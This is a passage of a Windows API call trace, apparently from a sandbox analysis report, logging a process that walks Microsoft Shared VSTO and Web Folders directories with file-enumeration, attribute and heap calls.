FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.442] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0244.442] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921668 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918b30 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9222c8 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.443] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.444] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.444] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.444] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0244.444] GetLastError () returned 0x12 [0244.444] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0244.444] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.444] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.444] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0244.669] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0244.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.669] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0244.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.669] NtClose (Handle=0x1bc) returned 0x0 [0244.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.669] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0244.670] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.670] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0244.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0244.670] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0244.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0244.670] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0244.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0244.670] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0244.670] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0244.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0244.670] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0244.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0244.670] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0244.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0244.670] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0244.670] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0244.670] GetLastError () returned 0x12 [0244.670] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0244.670] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.670] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.670] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0244.671] GetLastError () returned 0x12 [0244.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.671] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0244.671] GetLastError () returned 0x12 [0244.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.671] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x921668) returned 1 [0244.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0244.671] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0244.671] GetLastError () returned 0x12 [0244.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.671] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0244.672] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0244.672] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.672] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0244.672] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0244.705] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.705] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.705] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.705] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.705] NtClose (Handle=0x1b4) returned 0x0 [0244.705] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.705] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.705] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.705] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.705] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0244.705] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.705] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 